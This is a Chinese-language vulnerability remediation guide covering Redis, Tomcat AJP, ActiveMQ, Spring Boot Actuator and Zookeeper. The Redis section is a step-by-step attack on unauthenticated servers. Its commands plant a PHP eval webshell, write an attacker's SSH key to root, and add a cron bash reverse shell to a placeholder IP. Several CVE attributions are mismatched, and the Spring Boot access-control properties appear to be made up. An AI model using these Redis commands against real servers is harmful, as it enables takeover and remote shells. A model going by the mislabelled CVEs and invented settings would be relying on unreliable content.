漏洞修复方案
大军安全
二〇二四年四月
目录
二、 Apache Tomcat文件读取漏洞(CVE-2020-1938)... 7
三、 Apache ActiveMQ createThrowable 远程代码执行漏洞(CVE-2023-46604) 9
四、 Spring Boot框架(CVE-2020-5650)... 11
2、 升级Spring Boot和Spring Cloud版本... 12
五、 Apache Zookeeper 未授权访问漏洞... 14
六、 zookeeper四字命令任意执行漏洞(CVE-2020-11580)... 17
Redis是一款内存高速缓存的数据库,是一款K-V型数据库,它的所有键值都是用字典来存储的。其中它的value支持多种数据类型,包括String、List、Set、Zset和Hash。
Redis默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问,就会将Redis服务暴露在公网上;
并且Redis默认情况是空密码连接
在服务器以root身份运行Redis时
这将导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
1# Redis2.x-5.x
一般使用nmap工具对目标机器进行扫描。如果发现主机的6379端口是对外开放的,并且目标主机开放外网访问的情况下,就能够在本机使用redis-cli服务连接目标服务器。
redis-cli -h 服务器ip。
1# 攻击者无需通过认证就可以访问内部数据,导致敏感信息泄露
2# 攻击者可以恶意执行flushall来清空所有数据
3# 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件
4# eval()是用来执行一个字符串表达式,并返回表达式的值。
5# lua是一种脚本语言,用C语言编写,源码开放,其设计目的是为了嵌入程序应用,为应用程序提供便利的拓展功能。
6# 由于Redis以root权限运行,攻击者可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
-
-
- Redis写入webshell
- 原理
- Redis写入webshell
-
Redis为了持久化连接,将数据保存在了本地。那么攻击者可以将后门代码作为value值,写入web目录下的.php文件,就可实现php的webshell。
-
-
-
- 利用条件
-
-
1# 当存在未授权访问漏洞时,可以直接通过Redis连接靶机;
2# 如果靶机正好开启web服务;
3# 且攻击者知道了web目录的路径且该路径具有文件读写的权限。
这时候攻击者可以通过Redis写入webshell。
-
-
-
- 利用过程
-
-
以下为举例:
1# config set dir /var/www.html/ #切换到web写入目录
2# config set dbfilename zcc.php #设置写入木马的文件名
3# set xxx "\n\n\n<?php @eval($_POST['zcc']);?>\n\n\n" #写入恶意代码到内存中,这里的换行符是必要的,因为用Redis写入文件会自带一些版本信息,如果不换行可能执行不了
4# save #将内存中的数据导出到磁盘
-
-
- Redis写入SSH公钥
- 原理
- Redis写入SSH公钥
-
在Redis数据库中插入一条数据,将本机的公钥作为value,然后通过修改数据库的默认路径为/root/.ssh(ssh文件夹)和默认的缓冲文件authorized.keys(公钥文件),把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
-
-
-
- 利用条件
-
-
1# 通过漏洞成功连接Redis之后;
2# 且Redis服务以root权限执行;
3# 以及安全模式protected-mode处于关闭状态;
4# 服务器开启了ssh服务,且允许密钥登录。将密钥等配置信息存放在/root/.ssh目录(安装了openssh只要将公钥放入到/root/.ssh文件夹中,无需设置默认就允许使用公钥登录),即可远程写入一个公钥,直接登录远程服务器。
-
-
-
- 利用过程
-
-
1# ssh-keygen -t rsa
2# config set dir /root/.ssh
3# config set dbfilename authorized_keys
4# set x "\n\n\nssh-rsa ...公钥...\n\n\n"
5# save
6# 连接:
7# ssh -i id_rsa root@ip
-
-
- Redis写入计划任务反弹shell
- 原理
- Redis写入计划任务反弹shell
-
在数据库中插入一条数据,将计划任务的内容作为value值,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以一个计划任务进行反弹shell。
-
-
-
- 利用条件
-
-
1# 能够远程连接到Redis
2# 安全模式protectcd-mode处于关闭模式
3# 以root权限运行
-
-
-
- 利用过程
-
-
1# set x "\n\n****bash -i >& /dev/tcp/xx.xx.xx.xx/8089 0>&1 \n\n"
2# config setdir /var/spool/cron
3# config set dbfilename root
4# save
-
- Redis未授权访问漏洞防御
1# 限制访问IP
2# 修改默认端口
3# 使用密码登录,限制密钥登录
4# 不使用root运行Redis
Redis未授权访问漏洞是由于配置问题而产生的漏洞,因为没有改变默认端口6379且没有限制外来IP访问导致的漏洞。
Redis未授权漏洞一般可以用来写入webshell、写入ssh公钥进行登录、写入任务反弹shell连接
这些漏洞原理本质就是能够远程连接上Redis,且能够有root权限进行修改文件,然后将想要实现的内容写入就可以达成目的
Redis未授权漏洞的防御针对以上几点大概有:限制访问IP、修改默认端口、不使用密钥登录、不使用root权限运行Redis。
- Apache Tomcat文件读取漏洞(CVE-2020-1938)
Apache Tomcat文件读取漏洞(CVE-2020-1938)是一个严重的安全问题,它允许未经授权的攻击者远程读取服务器上的任意文件。这个漏洞是由于Tomcat AJP协议实现中的缺陷导致的。攻击者可以通过构造特定的请求,利用该漏洞读取webapp目录下的文件,如果服务器存在文件上传功能,还可能进一步实现远程代码执行。
1# Apache Tomcat 6
2# Apache Tomcat 7 < 7.0.100
3# Apache Tomcat 8 < 8.5.51
4# Apache Tomcat 9 < 9.0.31
用户可以通过查看Tomcat安装目录的版本号来确定是否受到该漏洞的影响。通常,Tomcat的安装包名称中会包含版本信息。如果目录名称被修改过,可以通过执行version.bat(位于Tomcat的bin目录下)来获取版本号。
如果Tomcat开启了AJP Connector并且监听在默认端口(8009),则可能存在被利用的风险。
受影响的用户应尽快升级到官方已发布的安全版本,即Apache Tomcat 7.0.100、8.5.51和9.0.31,这些版本已经修复了该漏洞。
如果暂时无法升级,可以考虑关闭AJP Connector,或将其监听地址改为仅监听本机(localhost)。这可以通过编辑Tomcat的server.xml配置文件来实现,具体操作如下:
1# 找到<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />这一行。
2# 将其注释掉或删除,即<!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->。
如果必须使用AJP协议,可以为AJP Connector配置认证凭证。对于Tomcat 7和9用户,可以设置secret属性;对于Tomcat 8用户,可以设置requiredSecret属性。示例配置如下:
1# <Connector port="8009" protocol="AJP/1.3" redirectPort="8443"
2# address="YOUR_TOMCAT_IP_ADDRESS"
3# secret="YOUR_TOMCAT_AJP_SECRET" />
4# 或者对于Tomcat 8:
5# <Connector port="8009" protocol="AJP/1.3" redirectPort="8443"
6# address="YOUR_TOMCAT_IP_ADDRESS"
7# requiredSecret="YOUR_TOMCAT_AJP_SECRET" />
注意:YOUR_TOMCAT_AJP_SECRET应更换为一个安全性高、无法被轻易猜解的值。
阻止不可信任的来源访问Tomcat AJP Connector端口(默认8009),可以通过配置防火墙规则来实现。
- Apache ActiveMQ createThrowable 远程代码执行漏洞(CVE-2023-46604)
Apache ActiveMQ 是一个开源的消息代理和集成模式服务器,它支持多种语言的客户端和协议。近期,Apache ActiveMQ 被披露存在一个严重的安全漏洞,该漏洞允许未经授权的远程攻击者通过构造恶意请求来执行任意代码,从而完全控制受影响的服务器。
1# 漏洞名称: Apache ActiveMQ createThrowable 远程代码执行漏洞
2# CVE编号: CVE-2023-46604
3# CVSSv3评分: 10.0(严重)
根据披露的信息,该漏洞影响的Apache ActiveMQ版本尚未明确列出,但通常新版本会修复已知的安全问题。用户应检查并升级到最新的安全版本,以确保受到保护。
奇安信CERT已成功复现了该漏洞,表明攻击者可以通过发送特制的恶意数据到ActiveMQ的61616端口,利用createThrowable方法来实现远程代码执行。
漏洞的根本原因在于ActiveMQ处理某些消息时存在不当的反序列化操作。攻击者可以通过发送特制的恶意对象,利用ActiveMQ的openwire协议中的createThrowable方法来执行任意代码。在漏洞利用过程中,攻击者可能会使用ClassPathXmlApplicationContext类来加载远程的XML配置文件,从而触发远程代码执行。
攻击者可能会使用如下Java代码片段来构造恶意请求:
1# public static void sendToActiveMQ() throws Exception {
2# // 创建连接工厂和连接
3# ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
4# Connection connection = connectionFactory.createConnection("admin", "admin");
5# connection.start();
6# // 创建会话和消息生产者
7# Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
8# MessageProducer producer = session.createProducer(session.createQueue("q_test"));
9# // 创建恶意消息并发送
10# Message message = session.createTextMessage("恶意数据");
11# producer.send(message);
12# connection.close();
13# }
立即升级到最新版本的Apache ActiveMQ,以获取安全修复。
将ActiveMQ服务器部署在受信任的网络环境中,并限制对61616端口的访问。
如果ActiveMQ的61616端口不是必须开放的,建议关闭该端口。
启用日志记录和监控,以便跟踪对ActiveMQ的访问和操作。
如果官方提供了针对该漏洞的补丁,应尽快应用。
Apache ActiveMQ的createThrowable远程代码执行漏洞是一个严重的安全问题,需要立即采取措施进行修复。用户应密切关注官方的安全通告,并采取上述措施来保护其ActiveMQ服务器。安全是一个持续的过程,需要不断地评估、改进和更新安全措施。
- Spring Boot框架(CVE-2020-5650)
Spring Boot框架中的env
接口信息泄露漏洞(CVE-2020-5650)是由于Spring Boot Actuator组件中的env
端点存在未授权访问问题,导致攻击者可以获取敏感的环境变量信息。这个问题在Spring Cloud和Spring Boot的早期版本中普遍存在。为了彻底修复这个漏洞,可以采取以下措施:
-
- 升级Spring Boot和Spring Cloud版本
首先,检查并升级到修复了该漏洞的Spring Boot和Spring Cloud版本。对于Spring Boot,建议升级到1.5.x以上版本,而对于Spring Cloud,建议升级到1.3.0.RELEASE以上版本。
-
- 禁用或限制
env
端点访问
- 禁用或限制
如果你无法立即升级,可以通过修改application.properties
或application.yml
文件来禁用或限制对env
端点的访问。
-
-
- 禁用
env
端点:
- 禁用
-
1# management.endpoint.env.enabled=false
2# 或者在
application.yml
中:
3#
management:
4#
endpoint:
5#
env:6# enabled:
false
限制env
端点的访问: 如果业务需求必须开放env
端点,可以通过配置安全策略来限制访问。例如,只允许特定的IP地址访问:
1#
management.endpoint.env.id=env
2#
management.endpoints.web.exposure.include=env
3#
spring.security.filterChainProxyPattern=/**
4#
spring.security.filterChainProxyOrder=0
5#
spring.security.filters=env
6#
spring.security.filter.order=0
7#
spring.security.filter.deny-ip=*
8# spring.security.filter.permit-ip=192.168.1.1
引入Spring Security依赖,并在应用中启用安全配置,这样可以对所有端点进行身份验证和访问控制。
添加Spring Security依赖:
1#
<dependency>
2#
<groupId>
org.springframework.boot
</groupId>
3#
<artifactId>
spring-boot-starter-security
</artifactId>4# </dependency>
或者在Gradle中:
1#
implementation 'org.springframework.boot:spring-boot-starter-security'
配置安全策略: 在Spring Boot应用中配置安全策略,例如使用基本的HTTP认证:
1#
@Configuration
2#
publicclass
SecurityConfig
extends
WebSecurityConfigurerAdapter
{
3#
@Override
4#
protected
void
configure(HttpSecurity
http
)throws
Exception
{
5#
http
6#
.authorizeRequests()
7#
.anyRequest().authenticated()
8#
.and()
9#
.httpBasic()
10#
.and()
11#
.csrf().disable();
12#
}
13#
@Override
14#
public
void
configure(AuthenticationManagerBuilder
auth
)throws
Exception
{
15#
auth
.inMemoryAuthentication()
16#
.withUser("user")
17#
.password("password")
18#
.roles("USER");
19#
}
20# }
清理和检查你的环境变量,确保没有敏感信息泄露。对于已经泄露的环境变量,应该立即更改其值。
开启安全日志记录,监控所有对env
端点的访问尝试,以便及时发现和响应潜在的安全威胁。
- Apache Zookeeper 未授权访问漏洞
Apache Zookeeper 未授权访问漏洞是一个严重的安全问题,它允许未经授权的用户访问Zookeeper服务并获取敏感信息。以下是针对该漏洞的详细修复方案:
可以通过配置防火墙规则来限制对Zookeeper服务端口(默认为2181)的访问。这可以通过使用iptables或其他防火墙工具来实现。
1#
# 封禁所有对2181端口的访问
2#
iptables -I INPUT -p tcp --dport
2181-j DROP
3#
# 仅允许特定IP地址访问2181端口
4#
iptables -I INPUT -s
10.88.2.208 -p tcp --dport
2181-j ACCEPT
5#
iptables -I INPUT -s
10.88.2.209 -p tcp --dport
2181-j ACCEPT
1#
# 添加规则禁止所有IP访问2181端口
2#
firewall-cmd --permanent --add-rich-rule
='rule family="ipv4" source address="0.0.0.0/0" port protocol="tcp" port="2181" drop'
3#
# 添加规则允许特定IP段访问2181端口4#
firewall-cmd --permanent --add-rich-rule
='rule family="ipv4" source address="192.168.1.1/24" port protocol="tcp" port="2181" accept'
-
- 启用Zookeeper自带的授权访问
Zookeeper 3.4.6及以上版本支持通过ACL(Access Control List)来限制访问。可以通过以下步骤启用授权访问:
-
-
- 进入Zookeeper命令行客户端:
-
1#
./zkCli.sh -server
127.0.0.1
对于Windows环境,运行 %ZOOKEEPER_HOME%\bin\zkCli.cmd
。
设置节点的ACL。例如,为根节点/
设置ACL:
1# setAcl / ip:127.0.0.1:cdrwa
这里ip:127.0.0.1:cdrwa
表示只允许本地IP地址127.0.0.1以cdrwa(创建、删除、读取、写入、管理)权限访问。
为其他节点设置ACL,如/dubbo
、/zookeeper
等。
使用getAcl
命令检查ACL是否设置成功:
1# getAcl /new
Zookeeper支持一些四字命令,这些命令可以用于管理和调试Zookeeper服务。出于安全考虑,应该关闭这些命令。
1# 升级Zookeeper到3.5.3版本或更高版本。
2# 在Zookeeper配置文件
zoo.cfg
中设置四字命令白名单,并关闭HTTP四字命令工具:
3#
4lw.commands.whitelist=stat, srvr4# admin.enableServer=false
这里4lw.commands.whitelist
指定了允许执行的四字命令,admin.enableServer
用于控制是否允许通过HTTP执行四字命令。
开启SASL_PLAINTEXT认证可以要求客户端在连接Zookeeper时提供用户名和密码。
1# 在Zookeeper配置文件
zoo.cfg
中添加或修改以下配置:2# requireClientAuthScheme=sasl
3# 收集并配置客户端的用户名和密码。
-
- 绑定指定IP访问
如果Zookeeper服务只需要在特定的网络环境中使用,可以绑定服务到特定的IP地址,从而避免公网访问。
"四字成语漏洞"通常指的是ZooKeeper服务的四字命令执行漏洞,CVE编号为CVE-2020-11580。这个漏洞允许未授权的攻击者远程执行任意命令。
升级ZooKeeper到安全版本。对于Apache ZooKeeper,可以升级到以下安全版本之一:
1# 3.6.3或更高版本
2# 3.7.0或更高版本
如果无法立即升级,可以通过配置ZooKeeper的配置文件(通常是zoo.cfg
)来禁用adminServer.port
。
设置合适的权限和认证机制,确保ZooKeeper的交互安全。
监控安全更新,并及时应用最新的安全补丁。
示例配置更新(禁用admin端口):
1# admin.serverPort=-1